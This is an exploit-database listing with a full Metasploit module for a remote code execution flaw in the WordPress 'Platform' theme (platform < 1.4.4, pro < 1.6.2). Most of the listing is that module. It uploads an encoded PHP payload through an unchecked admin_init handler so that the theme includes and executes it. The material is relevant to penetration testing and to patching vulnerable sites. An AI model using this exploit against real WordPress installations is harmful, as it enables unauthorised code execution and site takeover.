WordPress Platform Theme Remote Code Execution

2015.02.04
Credit: Christian
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'Remote Code Execution in Wordpress Platform Theme', 'Description' => %q{ The Wordpress Theme "platform" contains a remote code execution vulnerability through an unchecked admin_init call. The theme includes the uploaded file from it's temp filename with php's include function. }, 'Author' => [ 'Marc-Alexandre Montpas', # initial discovery 'Christian Mehlmauer' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://blog.sucuri.net/2015/01/security-advisory-vulnerabilities-in-pagelinesplatform-theme-for-wordpress.html'], ['WPVDB', '7762'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['platform < 1.4.4, platform pro < 1.6.2', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 21 2015')) end def exploit filename = "Settings_#{rand_text_alpha(5)}.php" data = Rex::MIME::Message.new data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{filename}\"") data.add_part('settings', nil, nil, 'form-data; name="settings_upload"') data.add_part('pagelines', nil, nil, 'form-data; name="page"') post_data = data.to_s print_status("#{peer} - Uploading payload") send_request_cgi({ 'method' => 'POST', 'uri' => wordpress_url_admin_post, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }, 5) end end

References:

http://blog.sucuri.net/2015/01/security-advisory-vulnerabilities-in-pagelinesplatform-theme-for-wordpress.html


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